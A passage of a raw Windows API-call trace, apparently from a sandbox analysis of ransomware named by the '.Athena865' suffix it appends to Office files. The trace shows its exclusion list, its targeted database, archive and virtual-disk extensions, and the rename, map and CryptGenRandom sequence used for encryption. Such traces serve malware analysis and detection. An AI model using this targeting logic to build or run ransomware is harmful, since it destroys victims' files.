lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0149.130] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=651) returned 1 [0149.130] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0149.130] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0149.130] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0149.130] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0149.131] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0149.131] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0149.131] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x590, lpName=0x0) returned 0x17c [0149.135] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x590) returned 0x100000 [0149.135] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0149.136] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0149.136] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0149.136] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540fa0 [0149.136] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540fa0 | out: hHeap=0x4f0000) returned 1 [0149.136] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0149.136] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0149.136] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0149.136] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0149.136] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0149.137] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0149.137] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0149.137] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0149.137] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0149.137] CloseHandle (hObject=0x17c) returned 1 [0149.137] CloseHandle (hObject=0x154) returned 1 [0149.137] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0149.137] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0149.137] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0149.137] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e3a1f00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x1e5998f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7e3a1f00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xd3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WINWORD.DEV_COL.HXT", cAlternateFileName="WINWOR~1.HXT")) returned 1 [0149.137] lstrcmpiW (lpString1="WINWORD.DEV_COL.HXT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0149.137] lstrcmpiW (lpString1="WINWORD.DEV_COL.HXT", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0149.138] lstrcmpiW (lpString1="WINWORD.DEV_COL.HXT", lpString2=".") returned 1 [0149.138] lstrcmpiW (lpString1="WINWORD.DEV_COL.HXT", lpString2="..") returned 1 [0149.138] lstrcmpiW (lpString1="WINWORD.DEV_COL.HXT", lpString2="windows") returned 1 [0149.138] lstrcmpiW (lpString1="WINWORD.DEV_COL.HXT", lpString2="bootmgr") returned 1 [0149.138] lstrcmpiW (lpString1="WINWORD.DEV_COL.HXT", lpString2="temp") returned 1 [0149.138] lstrcmpiW (lpString1="WINWORD.DEV_COL.HXT", lpString2="pagefile.sys") returned 1 [0149.138] lstrcmpiW (lpString1="WINWORD.DEV_COL.HXT", lpString2="boot") returned 1 [0149.138] lstrcmpiW (lpString1="WINWORD.DEV_COL.HXT", lpString2="ids.txt") returned 1 [0149.138] lstrcmpiW (lpString1="WINWORD.DEV_COL.HXT", lpString2="ntuser.dat") returned 1 [0149.138] lstrcmpiW (lpString1="WINWORD.DEV_COL.HXT", lpString2="perflogs") returned 1 [0149.138] lstrcmpiW (lpString1="WINWORD.DEV_COL.HXT", lpString2="MSBuild") returned 1 [0149.138] lstrlenW (lpString="WINWORD.DEV_COL.HXT") returned 19 [0149.138] lstrcpyW (in: lpString1=0x241e8a8, lpString2="WINWORD.DEV_COL.HXT" | out: lpString1="WINWORD.DEV_COL.HXT") returned="WINWORD.DEV_COL.HXT" [0149.138] lstrlenW (lpString="WINWORD.DEV_COL.HXT") returned 19 [0149.138] lstrlenW (lpString="Athena865") returned 9 [0149.138] lstrcmpiW (lpString1="V_COL.HXT", lpString2="Athena865") returned 1 [0149.138] lstrlenW (lpString=".dll") returned 4 [0149.138] lstrcmpiW (lpString1="WINWORD.DEV_COL.HXT", lpString2=".dll") returned 1 [0149.138] lstrlenW (lpString=".lnk") returned 4 [0149.138] lstrcmpiW (lpString1="WINWORD.DEV_COL.HXT", lpString2=".lnk") returned 1 [0149.138] lstrlenW (lpString=".ini") returned 4 [0149.138] lstrcmpiW (lpString1="WINWORD.DEV_COL.HXT", lpString2=".ini") returned 1 [0149.138] lstrlenW (lpString=".sys") returned 4 [0149.138] lstrcmpiW (lpString1="WINWORD.DEV_COL.HXT", lpString2=".sys") returned 1 [0149.138] lstrlenW (lpString="WINWORD.DEV_COL.HXT") returned 19 [0149.138] lstrlenW (lpString="bak") returned 3 [0149.138] lstrcmpiW (lpString1="HXT", lpString2="bak") returned 1 [0149.138] lstrlenW (lpString="ba_") returned 3 [0149.139] lstrcmpiW (lpString1="HXT", lpString2="ba_") returned 1 [0149.139] lstrlenW (lpString="dbb") returned 3 [0149.139] lstrcmpiW (lpString1="HXT", lpString2="dbb") returned 1 [0149.139] lstrlenW (lpString="vmdk") returned 4 [0149.139] lstrcmpiW (lpString1=".HXT", lpString2="vmdk") returned -1 [0149.139] lstrlenW (lpString="rar") returned 3 [0149.139] lstrcmpiW (lpString1="HXT", lpString2="rar") returned -1 [0149.139] lstrlenW (lpString="zip") returned 3 [0149.139] lstrcmpiW (lpString1="HXT", lpString2="zip") returned -1 [0149.139] lstrlenW (lpString="tgz") returned 3 [0149.139] lstrcmpiW (lpString1="HXT", lpString2="tgz") returned -1 [0149.139] lstrlenW (lpString="vbox") returned 4 [0149.139] lstrcmpiW (lpString1=".HXT", lpString2="vbox") returned -1 [0149.139] lstrlenW (lpString="vdi") returned 3 [0149.139] lstrcmpiW (lpString1="HXT", lpString2="vdi") returned -1 [0149.139] lstrlenW (lpString="vhd") returned 3 [0149.139] lstrcmpiW (lpString1="HXT", lpString2="vhd") returned -1 [0149.139] lstrlenW (lpString="vhdx") returned 4 [0149.139] lstrcmpiW (lpString1=".HXT", lpString2="vhdx") returned -1 [0149.139] lstrlenW (lpString="avhd") returned 4 [0149.139] lstrcmpiW (lpString1=".HXT", lpString2="avhd") returned -1 [0149.139] lstrlenW (lpString="db") returned 2 [0149.139] lstrcmpiW (lpString1="XT", lpString2="db") returned 1 [0149.139] lstrlenW (lpString="db2") returned 3 [0149.139] lstrcmpiW (lpString1="HXT", lpString2="db2") returned 1 [0149.139] lstrlenW (lpString="db3") returned 3 [0149.139] lstrcmpiW (lpString1="HXT", lpString2="db3") returned 1 [0149.139] lstrlenW (lpString="dbf") returned 3 [0149.140] lstrcmpiW (lpString1="HXT", lpString2="dbf") returned 1 [0149.140] lstrlenW (lpString="mdf") returned 3 [0149.140] lstrcmpiW (lpString1="HXT", lpString2="mdf") returned -1 [0149.140] lstrlenW (lpString="mdb") returned 3 [0149.140] lstrcmpiW (lpString1="HXT", lpString2="mdb") returned -1 [0149.140] lstrlenW (lpString="sql") returned 3 [0149.140] lstrcmpiW (lpString1="HXT", lpString2="sql") returned -1 [0149.140] lstrlenW (lpString="sqlite") returned 6 [0149.140] lstrcmpiW (lpString1="OL.HXT", lpString2="sqlite") returned -1 [0149.140] lstrlenW (lpString="sqlite3") returned 7 [0149.140] lstrcmpiW (lpString1="COL.HXT", lpString2="sqlite3") returned -1 [0149.140] lstrlenW (lpString="sqlitedb") returned 8 [0149.140] lstrcmpiW (lpString1="_COL.HXT", lpString2="sqlitedb") returned -1 [0149.140] lstrlenW (lpString="xml") returned 3 [0149.140] lstrcmpiW (lpString1="HXT", lpString2="xml") returned -1 [0149.140] lstrlenW (lpString="$er") returned 3 [0149.140] lstrcmpiW (lpString1="HXT", lpString2="$er") returned 1 [0149.140] lstrlenW (lpString="4dd") returned 3 [0149.140] lstrcmpiW (lpString1="HXT", lpString2="4dd") returned 1 [0149.140] lstrlenW (lpString="4dl") returned 3 [0149.140] lstrcmpiW (lpString1="HXT", lpString2="4dl") returned 1 [0149.140] lstrlenW (lpString="^^^") returned 3 [0149.140] lstrcmpiW (lpString1="HXT", lpString2="^^^") returned 1 [0149.140] lstrlenW (lpString="abs") returned 3 [0149.140] lstrcmpiW (lpString1="HXT", lpString2="abs") returned 1 [0149.140] lstrlenW (lpString="abx") returned 3 [0149.140] lstrcmpiW (lpString1="HXT", lpString2="abx") returned 1 [0149.140] lstrlenW (lpString="accdb") returned 5 [0149.140] lstrcmpiW (lpString1="L.HXT", lpString2="accdb") returned 1 [0149.140] lstrlenW (lpString="accdc") returned 5 [0149.141] lstrcmpiW (lpString1="L.HXT", lpString2="accdc") returned 1 [0149.141] lstrlenW (lpString="accde") returned 5 [0149.141] lstrcmpiW (lpString1="L.HXT", lpString2="accde") returned 1 [0149.141] lstrlenW (lpString="accdr") returned 5 [0149.141] lstrcmpiW (lpString1="L.HXT", lpString2="accdr") returned 1 [0149.141] lstrlenW (lpString="accdt") returned 5 [0149.141] lstrcmpiW (lpString1="L.HXT", lpString2="accdt") returned 1 [0149.141] lstrlenW (lpString="accdw") returned 5 [0149.141] lstrcmpiW (lpString1="L.HXT", lpString2="accdw") returned 1 [0149.141] lstrlenW (lpString="accft") returned 5 [0149.141] lstrcmpiW (lpString1="L.HXT", lpString2="accft") returned 1 [0149.141] lstrlenW (lpString="adb") returned 3 [0149.141] lstrcmpiW (lpString1="HXT", lpString2="adb") returned 1 [0149.141] lstrlenW (lpString="adb") returned 3 [0149.141] lstrcmpiW (lpString1="HXT", lpString2="adb") returned 1 [0149.141] lstrlenW (lpString="ade") returned 3 [0149.141] lstrcmpiW (lpString1="HXT", lpString2="ade") returned 1 [0149.141] lstrlenW (lpString="adf") returned 3 [0149.141] lstrcmpiW (lpString1="HXT", lpString2="adf") returned 1 [0149.141] lstrlenW (lpString="adn") returned 3 [0149.141] lstrcmpiW (lpString1="HXT", lpString2="adn") returned 1 [0149.141] lstrlenW (lpString="adp") returned 3 [0149.141] lstrcmpiW (lpString1="HXT", lpString2="adp") returned 1 [0149.141] lstrlenW (lpString="alf") returned 3 [0149.141] lstrcmpiW (lpString1="HXT", lpString2="alf") returned 1 [0149.141] lstrlenW (lpString="ask") returned 3 [0149.141] lstrcmpiW (lpString1="HXT", lpString2="ask") returned 1 [0149.141] lstrlenW (lpString="btr") returned 3 [0149.141] lstrcmpiW (lpString1="HXT", lpString2="btr") returned 1 [0149.141] lstrlenW (lpString="cat") returned 3 [0149.141] lstrcmpiW (lpString1="HXT", lpString2="cat") returned 1 [0149.142] lstrlenW (lpString="cdb") returned 3 [0149.142] lstrcmpiW (lpString1="HXT", lpString2="cdb") returned 1 [0149.142] lstrlenW (lpString="ckp") returned 3 [0149.142] lstrcmpiW (lpString1="HXT", lpString2="ckp") returned 1 [0149.142] lstrlenW (lpString="cma") returned 3 [0149.142] lstrcmpiW (lpString1="HXT", lpString2="cma") returned 1 [0149.142] lstrlenW (lpString="cpd") returned 3 [0149.142] lstrcmpiW (lpString1="HXT", lpString2="cpd") returned 1 [0149.142] lstrlenW (lpString="dacpac") returned 6 [0149.142] lstrcmpiW (lpString1="OL.HXT", lpString2="dacpac") returned 1 [0149.142] lstrlenW (lpString="dad") returned 3 [0149.142] lstrcmpiW (lpString1="HXT", lpString2="dad") returned 1 [0149.142] lstrlenW (lpString="dadiagrams") returned 10 [0149.142] lstrcmpiW (lpString1="EV_COL.HXT", lpString2="dadiagrams") returned 1 [0149.142] lstrlenW (lpString="daschema") returned 8 [0149.142] lstrcmpiW (lpString1="_COL.HXT", lpString2="daschema") returned -1 [0149.142] lstrlenW (lpString="db-journal") returned 10 [0149.142] lstrcmpiW (lpString1="EV_COL.HXT", lpString2="db-journal") returned 1 [0149.142] lstrlenW (lpString="db-shm") returned 6 [0149.142] lstrcmpiW (lpString1="OL.HXT", lpString2="db-shm") returned 1 [0149.142] lstrlenW (lpString="db-wal") returned 6 [0149.142] lstrcmpiW (lpString1="OL.HXT", lpString2="db-wal") returned 1 [0149.142] lstrlenW (lpString="dbc") returned 3 [0149.142] lstrcmpiW (lpString1="HXT", lpString2="dbc") returned 1 [0149.142] lstrlenW (lpString="dbs") returned 3 [0149.142] lstrcmpiW (lpString1="HXT", lpString2="dbs") returned 1 [0149.142] lstrlenW (lpString="dbt") returned 3 [0149.142] lstrcmpiW (lpString1="HXT", lpString2="dbt") returned 1 [0149.142] lstrlenW (lpString="dbv") returned 3 [0149.142] lstrcmpiW (lpString1="HXT", lpString2="dbv") returned 1 [0149.143] lstrlenW (lpString="dbx") returned 3 [0149.143] lstrcmpiW (lpString1="HXT", lpString2="dbx") returned 1 [0149.143] lstrlenW (lpString="dcb") returned 3 [0149.143] lstrcmpiW (lpString1="HXT", lpString2="dcb") returned 1 [0149.143] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT.Athena865") returned 77 [0149.143] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_col.hxt.athena865"), dwFlags=0x1) returned 1 [0149.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_col.hxt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0149.145] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=211) returned 1 [0149.145] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0149.145] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0149.145] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0149.145] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0149.146] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0149.146] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0149.146] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3e0, lpName=0x0) returned 0x17c [0149.154] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3e0) returned 0x100000 [0149.155] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0149.156] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0149.156] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0149.156] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540fa0 [0149.156] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540fa0 | out: hHeap=0x4f0000) returned 1 [0149.156] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0149.156] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0149.156] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0149.156] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0149.156] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0149.156] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0149.156] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0149.156] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0149.156] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0149.157] CloseHandle (hObject=0x17c) returned 1 [0149.157] CloseHandle (hObject=0x154) returned 1 [0149.157] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0149.157] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0149.157] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0149.157] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e3a1f00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x1e5998f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7e3a1f00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WINWORD.DEV_F_COL.HXK", cAlternateFileName="WINWOR~1.HXK")) returned 1 [0149.157] lstrcmpiW (lpString1="WINWORD.DEV_F_COL.HXK", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0149.157] lstrcmpiW (lpString1="WINWORD.DEV_F_COL.HXK", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0149.157] lstrcmpiW (lpString1="WINWORD.DEV_F_COL.HXK", lpString2=".") returned 1 [0149.157] lstrcmpiW (lpString1="WINWORD.DEV_F_COL.HXK", lpString2="..") returned 1 [0149.157] lstrcmpiW (lpString1="WINWORD.DEV_F_COL.HXK", lpString2="windows") returned 1 [0149.157] lstrcmpiW (lpString1="WINWORD.DEV_F_COL.HXK", lpString2="bootmgr") returned 1 [0149.157] lstrcmpiW (lpString1="WINWORD.DEV_F_COL.HXK", lpString2="temp") returned 1 [0149.157] lstrcmpiW (lpString1="WINWORD.DEV_F_COL.HXK", lpString2="pagefile.sys") returned 1 [0149.157] lstrcmpiW (lpString1="WINWORD.DEV_F_COL.HXK", lpString2="boot") returned 1 [0149.157] lstrcmpiW (lpString1="WINWORD.DEV_F_COL.HXK", lpString2="ids.txt") returned 1 [0149.157] lstrcmpiW (lpString1="WINWORD.DEV_F_COL.HXK", lpString2="ntuser.dat") returned 1 [0149.157] lstrcmpiW (lpString1="WINWORD.DEV_F_COL.HXK", lpString2="perflogs") returned 1 [0149.157] lstrcmpiW (lpString1="WINWORD.DEV_F_COL.HXK", lpString2="MSBuild") returned 1 [0149.157] lstrlenW (lpString="WINWORD.DEV_F_COL.HXK") returned 21 [0149.157] lstrcpyW (in: lpString1=0x241e8a8, lpString2="WINWORD.DEV_F_COL.HXK" | out: lpString1="WINWORD.DEV_F_COL.HXK") returned="WINWORD.DEV_F_COL.HXK" [0149.157] lstrlenW (lpString="WINWORD.DEV_F_COL.HXK") returned 21 [0149.158] lstrlenW (lpString="Athena865") returned 9 [0149.158] lstrcmpiW (lpString1="F_COL.HXK", lpString2="Athena865") returned 1 [0149.158] lstrlenW (lpString=".dll") returned 4 [0149.158] lstrcmpiW (lpString1="WINWORD.DEV_F_COL.HXK", lpString2=".dll") returned 1 [0149.158] lstrlenW (lpString=".lnk") returned 4 [0149.158] lstrcmpiW (lpString1="WINWORD.DEV_F_COL.HXK", lpString2=".lnk") returned 1 [0149.158] lstrlenW (lpString=".ini") returned 4 [0149.158] lstrcmpiW (lpString1="WINWORD.DEV_F_COL.HXK", lpString2=".ini") returned 1 [0149.158] lstrlenW (lpString=".sys") returned 4 [0149.158] lstrcmpiW (lpString1="WINWORD.DEV_F_COL.HXK", lpString2=".sys") returned 1 [0149.158] lstrlenW (lpString="WINWORD.DEV_F_COL.HXK") returned 21 [0149.158] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK.Athena865") returned 79 [0149.158] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_f_col.hxk.athena865"), dwFlags=0x1) returned 1 [0149.160] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_f_col.hxk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0149.160] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=114) returned 1 [0149.160] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0149.161] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0149.161] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0149.161] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0149.161] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0149.161] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0149.162] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x380, lpName=0x0) returned 0x17c [0149.163] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x380) returned 0x100000 [0149.164] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0149.165] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0149.165] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0149.165] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540fa0 [0149.165] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540fa0 | out: hHeap=0x4f0000) returned 1 [0149.165] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0149.165] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0149.165] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0149.165] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0149.165] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0149.166] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0149.166] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0149.166] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0149.166] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0149.166] CloseHandle (hObject=0x17c) returned 1 [0149.166] CloseHandle (hObject=0x154) returned 1 [0149.166] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0149.166] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0149.166] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0149.166] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e3a1f00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x1e5998f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7e3a1f00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WINWORD.DEV_K_COL.HXK", cAlternateFileName="WINWOR~2.HXK")) returned 1 [0149.166] lstrcmpiW (lpString1="WINWORD.DEV_K_COL.HXK", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0149.166] lstrcmpiW (lpString1="WINWORD.DEV_K_COL.HXK", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0149.166] lstrcmpiW (lpString1="WINWORD.DEV_K_COL.HXK", lpString2=".") returned 1 [0149.166] lstrcmpiW (lpString1="WINWORD.DEV_K_COL.HXK", lpString2="..") returned 1 [0149.166] lstrcmpiW (lpString1="WINWORD.DEV_K_COL.HXK", lpString2="windows") returned 1 [0149.166] lstrcmpiW (lpString1="WINWORD.DEV_K_COL.HXK", lpString2="bootmgr") returned 1 [0149.166] lstrcmpiW (lpString1="WINWORD.DEV_K_COL.HXK", lpString2="temp") returned 1 [0149.166] lstrcmpiW (lpString1="WINWORD.DEV_K_COL.HXK", lpString2="pagefile.sys") returned 1 [0149.166] lstrcmpiW (lpString1="WINWORD.DEV_K_COL.HXK", lpString2="boot") returned 1 [0149.167] lstrcmpiW (lpString1="WINWORD.DEV_K_COL.HXK", lpString2="ids.txt") returned 1 [0149.167] lstrcmpiW (lpString1="WINWORD.DEV_K_COL.HXK", lpString2="ntuser.dat") returned 1 [0149.167] lstrcmpiW (lpString1="WINWORD.DEV_K_COL.HXK", lpString2="perflogs") returned 1 [0149.167] lstrcmpiW (lpString1="WINWORD.DEV_K_COL.HXK", lpString2="MSBuild") returned 1 [0149.167] lstrlenW (lpString="WINWORD.DEV_K_COL.HXK") returned 21 [0149.167] lstrcpyW (in: lpString1=0x241e8a8, lpString2="WINWORD.DEV_K_COL.HXK" | out: 